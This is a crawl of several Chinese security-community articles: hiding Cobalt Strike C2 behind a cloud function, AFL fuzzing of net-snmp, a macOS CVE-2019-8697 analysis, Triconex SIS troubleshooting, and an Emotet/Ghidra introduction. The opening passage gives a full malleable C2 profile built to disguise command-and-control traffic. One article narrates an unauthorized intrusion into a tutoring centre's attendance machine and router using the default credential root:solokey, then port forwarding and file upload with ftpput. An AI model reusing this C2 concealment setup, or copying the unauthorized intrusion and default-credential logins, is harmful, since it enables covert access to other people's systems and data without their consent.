云函数，配置完成后，我们还要配置下API网关
将路径改为根路径()
更改完成后，即可发布服务，完成后，可以在api服务的基础信息中看到 **公网的默认访问地址**
，有80和443两个端口，配置的CS监听地址是http就用80端口，https就用443端口
##### CS的Listeners配置
配置CS Profile，内容这里参考下面示例
set sample_name "t";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/api/x";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
Listeners的host和Hosts和Stager Host都设置为你的云函数URL
抓包看流量，C2通信的HOST是api的域名IP是腾讯云的CDN服务器IP
我的博客开通了，还望大佬多多指点
[kosakd.top](https://kosakd.top/) | 社区文章 |
#### 前言
眼看着网络交互的程序越来越多,我们的afl-fuzz却不能对此进行fuzz,太可惜了!本文尝试对net-snmp进行源码修改,使其通过stdin/stdout完成相应功能,让afl-fuzz重获用武之地(..•˘_˘•..),顺便对fuzz出的crash进行简单分析
#### net-snmp的编译安装
CXX=afl-clang-fast++ CC=afl-clang-fast ./configure --prefix=/root/0524/mortysnmp
AFL_USE_ASAN=1 make -j4
make install
安装完成后,我们可以开启snmpd服务,并监听1024端口
./snmpd -f 127.0.0.1:1024
如下命令对snmpd服务接收udp包的情况进行测试
echo 'hellotest' > /dev/udp/127.0.0.1/1024
#### 动静态分析溯源程序流程
snmpd服务在接收到请求后对snmp协议进行解析处理,通过查阅相关资料,找到相关解析函数,位置如下
我们可以使用gdb attach到程序中,在_snmp_parse中打下断点,然后发送udp请求,再对程序进行函数回溯,如下
上图我们可以看到程序进行snmp解析的流程如下
snmpd.c: main(int argc, char *argv[])
↓
snmpd.c:receive();
↓
snmp_api.c:snmp_read2(&readfds);
↓
snmp_api.c:snmp_sess_read2((void *) slp, fdset);
↓
snmp_api.c:rc = _sess_read(sessp, fdset);
↓
snmp_api.c:rc = _sess_process_packet(sessp, sp, isp, transport, opaque,olength, rxbuf, length);
↓
snmp_api.c:ret = snmp_parse(sessp, sp, pdu, packetptr, length);
↓
snmp_api.c:rc = _snmp_parse(sessp, pss, pdu, data, length);
#### 请求包内容的验证
确定了程序的流程之后,我们再对请求包的内容进行验证.在_sess_process_packet处打下断点,跟到程序中,对packetptr中的内容进行验证,查看packetptr指针指向的值
同时进行网络抓包,对比data的值与packetptr的内容
由上图可以看出,packetptr指向的内容正是我们发送的数据
#### 修改udp通信为stdin/stdout的一种思路
通常的fuzz程序对于网络交互并没有很好的支持,这就需要我们将网络交互转变为stdin/stdout,这篇文章给我们提供了很好的思路(<https://puzzor.github.io/%E5%88%A9%E7%94%A8AFL-Fuzz-Server>).
通过修改程序源码,在端口监听之后,添加发送socket请求的代码,并通过stdin控制socket请求的内容,从而实现网络交互到stdin/stdout的转换.
#### 干就完了
第一步我们要做的就是定位开启监听时的代码位置.首先attach到程序上,我们看到程序运行init_master_agent后开启了监听
我们在`init_master_agent`代码下方添加发送socket内容的代码
int mortys = 0;
int n = 0;
int reuse = 1;
struct sockaddr_in srv;
char buf[256] = {0};
bzero(&srv, sizeof(srv));
srv.sin_family = PF_INET;
srv.sin_addr.s_addr = inet_addr("127.0.0.1");
srv.sin_port = htons(1024);
/*创建 UDP 套节字*/
s = socket(AF_INET, SOCK_DGRAM, 0);
memset(buf, 0, 256);
/*读取用户输入到buf中*/
fgets(buf, 256, stdin);
/*通过套节字 s 向服务器发送数据*/
if ((n = sendto(mortys, buf, strlen(buf), 0, (struct sockaddr *) &srv, sizeof(struct sockaddr))) < 0)
{
perror("sendto");
return -1;
}else{
printf("send to len %d:%s\n", n, buf);
}
这段代码在程序开启监听后发送udp请求,保证程序在没有其他网络交互的情况下,运行到snmp_parse,实现snmp的解析,而对请求包内容的控制,在下一步进行.
第二步在snmp解析处修改请求包内容,在_sess_read函数中替换如下内容
这段代码修改了请求包的内容为我们用户的输入,实现网络请求至用户输入输出的转变
最后一步,分别在receive函数和_snmp_parse函数中添加exit(0),使程序能够在snmp解析后及时断开
至此程序修改大功告成!!!
##### 再重新编译
make clean
AFL_USE_ASAN=1 make -j4
make install
##### stdin功能验证
这时我们无需网络发包,只需要stdin即可控制我们的输入流,且snmp解析完成后程序可即时断开,且输入特定请求包,程序在解析snmp时crash,摆脱了对网络请求的依赖
##### crash分析(CVE-2018-18066)
CVE-2018-18066是Net-SNMP
5.8之前版本错误的snmp解析方式导致的DoS.这里我们对此进行简要分析.首先阅读源码,我们从这里开始对程序进行跟随,其中packetptr指向请求包,length为包的长度
一路跟随直至如下函数开始正式解析,其中data指向请求包
到这里解析后的内容通过pdu对象传入snmp_oid_compare函数中
当运行到`if (*(name1) != *(name2)) {`这里时
r14寄存器为零,执行`mov r15,QWORD PTR [r14]`造成空指针异常
### 参考
<http://dumpco.re/blog/net-snmp-5.7.3-remote-dos>
<https://puzzor.github.io/%E5%88%A9%E7%94%A8AFL-Fuzz-Server> | 社区文章 |
# CVE-2019-8697：macOS磁盘管理漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 thezdi，文章来源：thezdi.com
原文地址：<https://www.thezdi.com/blog/2019/10/3/cve-2019-8697-macos-system-escalation-via-disk-management>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
不久以前，研究人员“ccpwd”通过ZDI漏洞计划提交了macOS磁盘管理守护程序（ **diskmanagementd**
）中的一个堆缓冲区溢出漏洞。`diskmanagementd`是负责驱动器管理及分区的一个服务，用户可以通过“Disk
Utility”（磁盘工具）与该服务交互。该服务会运行一个[Mach](https://developer.apple.com/library/archive/documentation/Darwin/Conceptual/KernelProgramming/Mach/Mach.html)服务端，可以通过进程间通信（IPC）与之交互。客户端可以使用[Mach
IPC](http://web.mit.edu/darwin/src/modules/xnu/osfmk/man/)接口来发送及接收消息，通过这种RCP机制执行Mach服务端中的函数，这些函数通过MIG（[Mach
Interface
Generator](https://flylib.com/books/en/3.126.1.108/1/)）生成（MIG是Apple的RPC代码生成工具）。
## 0x01 漏洞分析
该服务的所有通信流量最终都会流经[launchd](https://en.wikipedia.org/wiki/Launchd)（这是macOS版的[init](https://en.wikipedia.org/wiki/Init)），我们可以分析该服务对应的[plist文件](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html)（`/System/Library/LaunchDaemons/com.apple.diskmanagementd.plist`）来了解更多信息。
一开始该服务会分配一个回调函数，在发送和接收Mach消息的IPC操作期间会调用这个回调函数。
图1. 设置sub_10000C241回调函数
当在`0x10000BE1F`获得[receive
right](https://developer.apple.com/library/archive/documentation/Darwin/Conceptual/KernelProgramming/Mach/Mach.html)（接收权限）后，[CFMachPortCreateWithPort](https://developer.apple.com/documentation/corefoundation/1400924-cfmachportcreatewithport)会将`sub_10000C241`设置为回调函数，以便处理在Mach端口上收到的信息。根据`msgh_id`（在Mach消息中发送的一个值，用来传递操作或者函数对应的ID）的具体值，`sub_10000C241`会间接使用该id作为两个远程函数dispatch表的索引。`sub_100001DA2`以及`sub_100002005`分别负责发起并拆分后续的通信会话。
图2. 设置端口权限
Mach端口采用单工（unidirectional）模式，这意味着每个发送/接收请求需要使用自己的端口。Apple有如下一段[描述](https://developer.apple.com/library/archive/documentation/Darwin/Conceptual/KernelProgramming/Mach/Mach.html)：
>
> 端口（port）是客户端与服务端之间的一个单向通信信道，客户端请求服务，服务端提供服务。如果想向服务请求返回响应，那么就必须使用第二个端口。这种模式相当于UNIX中的（unidirectional）管道。
图3. 在`off_1001AB6E0`处将`msgh_id`作为dispatch表的索引使用
在`sub_10000CCA9`中（`sub_100001DA2`会调用该函数），该函数会创建另一个Mach端口，设置`sub_10000DACC`回调函数，以`Comms-F2TPort`作为key保存到一个字典中。该函数会分配大小为`0x1000`字节的一个缓冲区，用来响应Mach消息，该缓冲区保存在`Comms-F2T-replyarea`
key中。
图4. 分配响应缓冲区并创建Mach端口
随后，目标服务会调用[setObject:forKey:](https://developer.apple.com/documentation/foundation/nsmutabledictionary/1411616-setobject?language=occ)，将键值对添加到字典中。
图5. 将端口及响应缓冲区以键值对形式加入字典
当客户端发送消息时，目标服务就会触发`sub_10000DACC`，然后根据`msgh_id`的值来访问对应的MIG远程过程调用。这里我们重点关注`sub_1000087C9`。
图6.
通过[mig_reply_setup](https://opensource.apple.com/source/xnu/xnu-4570.1.46/libsyscall/mach/mig_reply_setup.c.auto.html)设置回复缓冲区并调用RPC
dispatcher
缓冲区溢出点位于`sub_1000087C9`函数中，其中用户输入会被添加到回复缓冲区中。经过一系列计算后，最终得出的长度值会超过`0x1000`偏移量。
图7. 长度值经过计算后会得到一个较大的偏移量
在图6中，`0x1000`大小的回复缓冲区位于`r14`中，而用户输入从`0x38`偏移处开始，因此用户输入有`0xfc8`的可用空间。当输入数据到达`0xfc8`时，`strlen`会返回相同的值。经过一系列运算后，最终的值为`0xfcc
[ ((0xfc8 + 1) + 3) & 0xfffffffc]`。在`0x100008ABD`地址处，偏移量会变成`0x1004
[0xfcc+0x38]`，这样就能泄露4字节并写入4字节，实现可靠的漏洞利用原语。泄露效果可能并不明显，因为缓冲区大小为`0x1000`字节，而写入地址位于`0x1004`处。这意味着我们可以从下一个块中读取4字节缓冲区。
这个漏洞利用起来有一些限制条件。输入必须不能包含`NULL`字符，不然会导致`strlen`在该位置停止计算。另一个限制是超出缓冲区末尾写入的数据将始终是`var_DC`的内容，而该变量为`sub_100085B30`返回的错误代码。
## 0x02 总结
对这类漏洞分析始终是非常有趣的一个过程，从中我们可以看到，即便一个非常小的错误也可能存在漏洞，最终导致能在目标系统上执行代码。Apple在macOS
Mojave 10.14.5中[修复](https://support.apple.com/en-us/HT210348)了这个bug（以及其他bug），根据官方描述，Apple通过“改进内存处理机制”解决了这个问题。有趣的是，Apple在CVE公告中将这个漏洞拆分到Disk
Management组件以及另一个概念模糊的“Security”组件中，而“Security”部分的漏洞已经在macOS Sierra
10.12.6和macOS High Sierra 10.13.6上被修复。不论如何，存在漏洞的代码被修复总是一件不错的结果。 | 社区文章 |
# 基于智能手机的近源渗透案例分享 —— 极深研几
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：M.A.L[@Duncan](https://github.com/Duncan "@Duncan") SecTeam
## 0x00：引言
寒假了，我又一次成为了N个培训机构最靓的那个仔，年轻，帅气，潇洒，活力四射，光芒万丈。。。当然，这都是被身边的大爷大妈，大叔大婶给衬托出来的，可以说是典型的绿叶衬红花。其实，培训机构是一个很有意思的存在，没干些啥，完了老贵。你说咋不搞一个面向中小学，幼儿园的网络安全培训机构呢？这样我读小学那会儿就可以在培训机构肆意“学习”，完了放学带着电脑回家可劲儿打游戏。
今天要在各位web渗透大神面前show的就是关于如何测试一个培训机构的case，天上神灵可见，我真的只是出于该死的好奇才去nmap了一下他们的内网。嗯，结果发现有些存活主机非常奇怪，只开了22端口。都说好奇害死猫，我估计上辈子我就是属猫的。这么一扒拉，于是就有了这一篇分享文章，路过的大神和大牛们见笑了。下面还是一张team要求的脑图作业。
## 0x01：背景简介
这是一家规模不大的培训机构，为了便于等孩子家长（不包括我）和哥哥姐姐（包括我在内）消磨时光，培训机构很贴心的提供了免费Wi-Fi接入服务。整个机构采用了某Link提供的一整套Wi-Fi部署方案，确切的说是一台某Link的无线路由器以及N个无线AP。其中，2.4GHz和5GHz两个频段都是启用了的。至于Wi-Fi密码嘛，一是问前台漂亮小姐姐要；二是，用xx钥匙可以直连，然后密码也就可以查看了。
对于我而言，上网并不是最重要的，我就想知道那小破孩儿在干啥（回家可以给母上大人告状）。他们有好多IP
Cam，可能是为了防着老师打小孩儿或者发生意外事故以后备查吧。可惜了了，一直没搞定IP
Cam密码，漏洞也试过了，全给补了。感觉这培训机构应该是有找人专门维护网络吧，不然咋整得这么安全呢？
## 0x02：奇怪的设备
在搜索内网中IP
Cam的时候，发现了好些只开了22端口的主机。一开始，还以为是无线AP，也就不在意了。可是后来，发现这个AP也没有Web配置界面啊。于是，出于最原始的好奇欲，连接上了其中一台存活主机。
拿上自己装了Kali Nethunter的手机，直接telnet连上去看看呗。连倒是连上了，可显示的banner信息让我懵逼了。。。
毕竟只是个脚本小子，对于Linux系统并不熟悉，貌似没听说过什么ZLM60这个发行版。Master让我自个儿去distrowatch搜，还是没找着啊。不过，黄天偏爱勤奋的大脑，找了N久，终于找到了一篇三哥的文章【1】（隔着屏幕都能嗅到那股浓重咖喱味儿啊。。。）
虽然有一股子咖喱味儿，但人三哥关于这款ZKTeco
ZLM30的入侵分析非常详细，确切的说是可以直接来就用的。文中，三哥给出了适用于一部分ZKTeco考勤机的通用账户、密码：root :
solokey。在另外一篇文章中【2】，也有一些可以参考的密码。不过文章【2】中提到的Zksoftware这公司貌似只是个代理商之类的，并没有相关软件。至于文中提到的不同型号存在不同密码，每个一段时间新生产的考勤机会更换默认root密码这事儿也没法验证。IoT安全这事儿最大的特点就是费钱，不然很多东西其实都是可以研究研究的。
于是，等到下一次到培训机构去的时候，就直接尝试了这个密码。Bingo，telnet登录成功了。
通过telnet查看了一些系统信息，包括CPU信息。
查看了一下/etc/passwd和/etc/shadow这两个文件，确认只有一个可登录的root账户，用的是默认的Linux加密算法。
翻了翻/bin目录，发现大部分命令都是busybox导出的，而且没有进行严格的阉割。
既然ftpput，ftpget这些命令都有，那么我们就可以尝试这获取考勤机的数据库。于是，在Kali
Nethunter上果断安装了vsftpd，等着翻看他们考勤情况吧。于是，立马更新Kali
Nethunter，然后安装了vsftpd，进行了简单配置之后，开始实验 ^_^
可是，应了那句广告词，anything is possible，连不上啊！悲催啊。。。然而，更悲催的是，培训班下课了，下课了，下课了啊。。。
不过，从下面这张保留的截图中可以看出，这个考勤机是可以直接上外网的，虽然没有设置dns服务器地址（估计厂家觉得没有这个必要吧）。作为一个仅在内网中使用的IoT设备，这种玩儿法（配置方法）感觉路子很野啊。不过，话又说回来，这样一个破培训机构咋可能花钱请个有安全头脑的网管呢？顿时觉得，自己将来又少了一条活路。。。
## 0x03：有备无患
回家后，没打游戏，一直在想为啥会连不上呢？第一反应，vsftpd配置有问题，多半权限没给够。于是，在Kali
Nethunter上认认真真的试了N遍，确定无误。
后来，又想起master之前讲过的Wi-Fi接入内网的一些东西，越想越不对劲儿。Kali
Nethunter是在192.168.wifi.0/24的子网里面，然而考勤机却是在192.168.inet.0/24这个网段。如果说Kali
Nethunter所在的Wi-Fi网络是通过无线路由器搭在出192.168.inet.0/24上面，然后出外网的话，那么在Nethunter的确可以telnet连接上考勤机，但是考勤机却只能看到192.168.wifi.0/24段的路由，也就是说没法穿透到内网的Nethunter上。我那个去，当时咋没想到呢？
Team之前分享过关于通过Wi-Fi渗透内网的文章【3】，这个培训机构的Wi-Fi部署跟图中就跟左边那个“Bad”的模式差不多，这下就全明白了。就等下次去培训班了，嗯，从来都没有这么迫切的想去培训班陪读。。。
## 0x04：1 + 1 > 2
光阴荏苒，岁月如织，转眼又到了高级伴读小书童上岗的日子了。陪伴我的依旧是那一部某宝淘到的OP 7Pro，大写的穷！
再次验证了一下，192.168.inet.0/24网段直接连接互联网，然后192.168.wifi.0/24则是直接搭在其上的，这也就印证了之前的推测。那么，问题来了，怎么才能够把我的Nethunter映射到192.168.inet.0/24上呢？哈哈哈，托没有网管的福了，感谢那台192.168.wifi.0/24网段的某Link无线网关。
并且，这网关并没有修改默认的账户和密码，登上去就直接管理员权限了。
接下来，咱得干点儿网管的活儿了，加一条规则实施能不能映射成功。实验结果是，失败了，原因很简单，忘了添加20端口。虽然在测试的时候，已经充分考虑了FTP被动模式会被网管干掉，因此专门把vsftpd开启了主动模式。可是，一时着急，忘了把20端口加上了。。。
重新编辑转发规则，把20和21全部映射到192.168.inet.0/24网段，接着测试。
切换到考勤机的/tmp目录下，创建一个名为ftp.txt的测试文件，然后通过ftpput命令将其上传至192.168.inet.2。当然，192.168.inet.2已经映射到了192.168.wifi.175，也就是我的Nethunter上了。
接下来，就在Nethunter上验证一下是否收到了ftp.txt文件。切换到Nethunter上ddd用户主目录，下面确实有一个ftp.txt文件，并且内容一致。
这实验能够成功主要还得归功于两个前置条件：
——考勤机部署在了一个核心网段（192.168.inet.0/24），而Wi-Fi接入则是直接将192.168.wifi.0/24网段直接搭在了核心网段上。
——192.168.wifi.0/24网段的无线路由器存在弱口令漏洞。
——正是因为这样，才会有这种1 + 1 > 2的效果。
## 0x05：总结
首先，像ZKTeco考勤机这样的IoT设备在我们生活中真的好多，一开始没想过去hacking，就像这次hacking一样，完全出于偶然。我甚至猜测team在文章【3】中提到的，消防部门内部有大量设备开启了22端口，这些设备真的就是网络设备吗？会不会也是考勤机呢？如果真要是这样，那可就危险了啊。。。
再者，对于IoT设备而言，大多数情况下上外网都不是必要的，那么在网络架设的时候咋就没有专门搞一个网段呢？哪怕VLAN也行啊，好歹也算是隔离了一下啊？
还有，对比一下team在文章【4】【5】里面关于电信光猫的分析，ZKTeco对于设备自身的安全性考量确实要做得差一些，就从对busybox的阉割就可以看出来。
最后，MSTE（中小微企业）自身的安全意识或许才是最大的隐患。说不上无知无畏，但是没有被蛇咬过他就不知道疼啊，正是基于这种心理以及MSTE自身运营中的成本考量，对于MSTE而言安全注定只会是一次性投资，而且还是附着在网络基础建设之上的。至于长期的安全运维嘛，那估计得等到A、B、C轮完了，甚至是敲钟那天了。
## 0x06：参考文章
1、《HACKING ZKTECO K40PRO (ZEM510) IOT DEVICE》.
<https://www.esecurify.com/hacking-zkteco-zem510-iot-device-smart-device-hacking/>
2、《户外物理设备入侵之：入侵并“调教”中控指纹语音考勤系统(打卡机)》
.<http://www.hackdig.com/?06/hack-4092.htm>
3、《基于智能手机的近源渗透测试案例分享（二）——“点到为止”的测试成都某消防部门》.
<https://www.anquanke.com/post/id/230001>
4、《PT632电信“老猫”分析》 .<https://www.anquanke.com/post/id/259503>.
5、《ZN600电信光猫分析 —— 初识》 .<https://www.anquanke.com/post/id/263859>. | 社区文章 |
# Triconex SIS工业安全控制系统常见问题分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 摘要：
随着工业控制系统的迅速发展，安全仪表系统在工业生产的所有领域得到了广泛的使用。工控系统所用到的组态软件在使用过程中，都会出现或多或少的问题。现对我们实验室自己的设备硬件环境Triconex
sis系统在使用过程中遇到的问题进行汇总分析并给出相应的解决方法。此次我们进行安全研究测试的对象设备总价值70余万元，期间也挖出了不少未公开0day漏洞。
## 正文
### SIS是什么？
安全仪表系统（Safety Instrumented
Systems，SIS），又被称为工业安全系统，被用来预防工业中出现的事故，比如设备或操作故障，造成损坏、伤害、生命损失或严重的环境损害。极端后果的则是爆炸、火灾、石油泄漏、洪水甚至核系统崩溃。
### Triconex是什么？
Triconex所属于法国施耐德，作为全球领先的过程安全系统供应商，目前在全球已有超过80 个国家、14300 多套系统分布在全球各地使用，并采用最先进的
TMR 微处理器硬件技术和成熟可靠的TRISTATION
1131软件的三重化冗余容错控制系统。系统高可靠性和高利用率被广泛应用于石化、炼油、石油天然气、化工、电力、轨道交通、航天、核工业等行业。在装置安全联锁系统
ESD 、蒸汽透平控制、燃汽透平控制、压缩机防喘振控制、海上石油平台、火气监测保护（ F&G ）等方面有广泛的业绩。
### 工作原理
三重组合式冗余（TMR）结构保证了设备的容错能力，并能在原部件出现硬实效或者来自内部或外部来源的瞬态故障出现的情况下提供正确的不中断的控制。
每一个I/O模件内都包容有三个独立支路的电路，输入模件上的每一
支路读取过程数据并将这些信息传送给它的相应的主处理器。三个主处理器通过一个适配的高速总线系统，被称作为TRIBUS的系统相互通讯。当每扫描一次，主处理器都通过TRIBUS与其邻居进行通讯和同步化。TRIBUS作为数字式输入数据、比较输出数据、并将模拟输入数据的副本送达每一主处理器。主处理器执行控制程序并把由控制程序所产生的输出送给输出模件。除对输入数据之外，Triconex也输出数据。这是在离现场最近的输出模件上完成的，以便探查出任何错误并予以补偿。
## 控制系统遇到的常见问题如下
主要分为硬件、组态、人为和系统问题。
## 一、硬件问题
这类问题主要出现在硬件安装过程。比如电气安装（强弱电分开、元器件和模块供电额定电压和额定电流）、系统环境温湿度、模块安装是否正确等。
确认安装无问题后，可通电通讯，然后根据现场模块指示灯判断模块问题所在。现场模块指示灯显示如下图：
图1.1
### 1、电源模块
电源模件前面的LED指示灯的状态说明：
表1.1
从图1.1中可以看出，电源模块工作正常但其电池的功率不够。如电力故障，电池不能保持住RAM内的程序。建议处理方法：待停车后更换电池。
下表列出可能发生在电源模块的情况，对每种情况加以说明，并推荐出改正的措施。
表1.2
### 2、主处理器
主处理器（控制器）前面的LED指示灯的状态说明：
表1.3
从图1.1中可以看出，主处理器（MP）模块工作正常。ACTIVE指示灯在执行控制程序时每扫描一次闪烁一次。MAINT1灯常亮，是因为电池电量低而触发的。MAINT1是维护灯，在电池电压(更换电池)恢复后MAINT1灯会自动消除掉的，手动消除不了。
下表列出了MP上由维护指示灯所表示的可能的情况，经每种情况以说明，并给出推荐的措施。
表1.4
### 3、其他IO模块
IO模块前面的LED指示灯的状态说明：
表1.5
从图1.1中可以看出，IO模块已运行并正常工作。
下表列出了数字输入模块的PASS、FAULT和ACTIVE各指示灯所表示的可能出现的各种情况，以及对每一情况的说明和建议采取的措施。
表1.6
## 二、软件组态问题
这一类问题是软件本身在组态配置过程引起的错误。一般出现在设计调试阶段，本人根据自身组态配置过程中遇到的问题，以及当时的处理方法进行整理。
1、进行控制器连接时，通讯失败，出现下图错误。
图2.1
主要原因是通讯设置出现了问题，处理方法如下：
（1）检查控制器是否已开启，网线是否损坏，接口是否有问题；
（2）检查本地IP地址是否已设置与控制器同一网段；
（3）如果组态软件在虚拟机中，检查虚拟机系统网络设置是否为桥接模式，不要选中“复制物理网络连接状态”；
（4）如果组态软件在虚拟机中，使用网线第一次与控制器连接时，需要断开物理机网络。
2、进行控制器连接时，通讯失败，出现下图错误，连接不上控制器。
图2.2
主要原因是控制器中安装的主处理器的型号与项目中配置的主处理器的型号不匹配。由于主处理器之间的不匹配，TriStation
1131无法连接到所选的控制器。确保您尝试连接到正确的控制器，或更新项目中的“主处理器”配置，以使其与控制器中安装的“主处理器”相匹配。
3、通讯失败，出现下图错误，连接不上控制器。
图2.3
原因是项目中配置的底盘类型与控制器中存在的底盘类型不匹配。在连接到控制器之前，更改项目中的底盘类型以匹配控制器的底盘类型。处理办法如下图。
图2.4
图2.5
4、当更换底盘后，出现下图的错误。
图2.6
原因是项目中配置的主处理器模型与增强性能（EP_MAIN）机箱不兼容。 EP_MAIN机箱仅与主处理器型号3008（在Tricon
10.3.x和更高版本的系统中）和3009（在Tricon 11.0.x和更高版本中）兼容。
在用EP_MAIN机箱替换现有的高密度（HD_MAIN）机箱之前，必须将3006 /
N或3007型主处理器（如果有）替换为3008或3009型主处理器。如果您拥有目标系统版本早于Tricon 10.3.x的Model
3008主处理器，请将目标系统版本升级到Tricon 10.3.x或更高版本，或将其替换为Model 3009主处理器。处理方法如下图。
图2.7
5、连接控制器时，弹出下图警告窗口。
图2.8
原因是控制器里面已有程序，最后一次下载的项目与现在的项目不一致。可以跳过警告，停止控制器，再进行下载新的项目操作。
6、连接控制器，出现下图的错误。
图2.9
原因是项目与平台的系统版本不一致。处理方法如下图。
图2.10
7、新建变量时，弹出图12或图13的错误提示窗口。
图2.11
图2.12
原因是输入了无效的名称。名称必须以一个字母字符(从A到Z)开始，最多可以包含31个字母数字字符(包括下划线字符)。
8、编译出现错误，错误信息如下图。
图2.13
原因是没有把两个程序段隔开。组态过程中，没有连接关系的程序段，需要用分隔线分开，处理方法如下图。
图2.14
9、编译出现下图错误信息。
图2.15
原因是程序中有变量未与功能/功能块连接，或功能/功能块之间未连接。检查连接线，正确连接后再进行编译即可。
10、编译出现下图错误。
图2.16
原因是有未使用的变量未删除，未使用的变量是编程过程中，曾经添加使用过，到最后未使用。删除未使用的变量即可。
11、删除多余子程序时，弹出下图错误窗口。
图2.17
原因是该程序在程序执行列表中，无法删除。程序执行列表在实施文档中。
程序执行列表中的程序已被或指定要下载到控制器。为了删除该程序，必须首先将其从程序执行列表中删除。如下图所示。
图2.18
12、在使用Triconex SOE
Recorder软件时，创建SED文件显示如下图。状态显示没反应。可能原因是未配置SOE块、SOE配置文件不是最新的或者设置错误。
图2.19
处理方法：
（1）配置SOE块。在“Implementation”界面中，展开“SOE Configuration”，配置一个SOE块，具体步骤如下图。
图2.20
然后添加需要记录变量到SOE块中。
图2.21
然后把文件夹C:\Users\Public\Documents\Triconex\TriStation 1131
4.16.0\Projects中的SOE文件复制到文件夹C:\Users\Public\Documents\Triconex\Triconex SOE
Recorder\SoeConfig目录下。
图2.22
图2.23
（2）确认SOE文件是否最新的。打开文件夹C:\Users\Public\Documents\Triconex\TriStation 1131
4.16.0\Projects和C:\Users\Public\Documents\Triconex\Triconex SOE
Recorder\SoeConfig，确认SOE文件是否都是最新的。
图2.24
确认最新SOE文件
（3）进入设置界面，确认通讯设置参数。
图2.25
如果SOE配置文件正确且是最新的，但显示下图，状态显示SOE块还未开始，原因是程序中没写入激活SOE块程序。
图2.26
处理方法：编写激活SOE块程序，如下图。
图2.27 激活SOE块程序
完成后，如果激活SOE块程序为单独子程序，在下载前，必须加入“Execution List”。然后重新配置SOE文件。最后得到下图结果。
图2.28
图2.29 运行SOE事件收集
图2.30 SOE事件
## 三、人为问题
失误原因有很多，有维护人员操作不当、专业水平欠佳、监护不到位、没有进行事故预想、管理有漏洞等原因。在实际运行操作中，有时会出现系统某些功能不能使用，但实际系统配置和组态没问题，问题就出现在操作人员，操作不熟练或操作不当引起的。因此操作人员需要经过专业培训才可以上岗操作。
## 结束语
工业控制系统已成为自动化工程的核心设备，在安装和调试运行中必须安全可靠，尽量做到零失误、零故障、安全生产。控制系统在工业机器运用中是很重要的，所以对其容易出现的故障一定要了解，按照常见故障规律进行判断，应该可以准确迅速地把故障排除掉，恢复开机便能正常运行。
大禹工控
由中国网安·广州三零卫士成立，汇聚国内多名漏洞挖掘、二进制逆向、安全分析、渗透测试、自动化工程师等安全专家组建而成，专注于工业控制系统安全、工业物联网安全、工业威胁情报安全等安全领域，大禹工控安全实验室始终坚持在工业控制系统安全领域进行探索和研究
IRTeam工控安全红队
属于民间工业安全组织，由经验丰富的工控安全研究员组成，一直在学习和研究最新的工控漏洞及漏洞利用和防护，同时开发了Kali
ICS工控渗透平台能够提供全方位的工控漏洞挖掘和渗透测试。在工控的协议安全、HMI安全、工业云安全等领域有着丰富的经验和成果 | 社区文章 |
原文地址：<https://medium.com/@0xd0cf11e/analyzing-emotet-with-ghidra-part-1-4da71a5c8d69>
<https://medium.com/@0xd0cf11e/analyzing-emotet-with-ghidra-part-2-9efbea374b14>
在本文中，我们将为读者演示如何使用Ghidra来分析恶意软件Emotet的最新样本。
需要说明的是，我们的分析工作是在脱壳后的二进制文件的基础上完成的。由于这里主要是为读者展示如何使用Ghidra的python脚本管理器来对字符串和API调用进行解密，所以，具体的脱壳过程，就不再这里介绍了。
## 概述
什么是Ghidra？
* Ghidra是一个开源的逆向工程工具套件，关于它的详细介绍，请参阅<https://ghidra-sre.org/。>
为何选择Emotet？
* Emotet是一种流行的银行木马恶意软件。该木马的生命力非常强，其感染机制还在不断进化。当前，已经有一些关于该恶意软件的分析文章，感兴趣的读者请访问<https://www.google.com/search?q=emotet。>
为什么使用Ghidra分析Emotet？
* 为啥？还不是因为IDA Pro许可证太贵，哥又不想放弃自己的恶意软件分析师职业生涯。
* 当然，使用免费版[IDA v7.0](https://www.hex-rays.com/products/ida/support/download_freeware.shtml "IDA v7.0")也是一个不错的选择，但是这样的话，就无法使用IDA Python了。在试用一段时间IDA自家脚本语言IDC之后，我发现Python才是我的最爱。而Emotet不仅支持Python，还提供了许多现成的分析[脚本](https://github.com/0xd0cf11e/idcscripts/blob/master/emotet/emotet-decode.idc "脚本")。
## 使用Ghidra分析Emotet
在使用Ghidra时，首先要创建相应的项目。按照屏幕上的提示，我创建了一个名为“Emotet”的项目。要想将待分析的文件添加到项目中，只需键入I或选择File
-> Import File菜单项。
导入Emotet的二进制文件
导入Emotet的二进制文件后，Ghidra将显示该文件的各种属性。之后，双击文件名，就会在CodeBrowser中打开该文件。在这里，CodeBrowser是一个反汇编工具。
CodeBrowser中的Emotet视图
在符号树下（通常显示在左侧；如果没有打开的话，可以通过window->symbol
tree来打开它），通过过滤“entry”，就可以找到该二进制文件的入口点。
Emotet的入口点
在Listing窗口下面，我们可以看到编译后的代码，而右边显示的是反编译后的代码。由于之前已经对这些二进制文件进行了分析，因此，图中某些子例程调用和偏移量已经被我重命名了。当我们想要对偏移量进行重命名的时候，请右键单击相应的偏移量，然后，选择“Edit
Label”（或键入L）即可。
## Emotet的函数调用
Emotet不仅对自身的字符串进行了加密，同时，还将自身的API调用名称存储为哈希值形式。因此，静态查看该文件的内容的话，理解起来非常困难。
为了深入了解Emotet的payload，通常需要借助Olldbg、Wingdb或其他调试器来分析所有的函数，以弄清楚其内部运作机制。而本文的目标，就是如何利用Ghidra让这个过程更轻松一些。
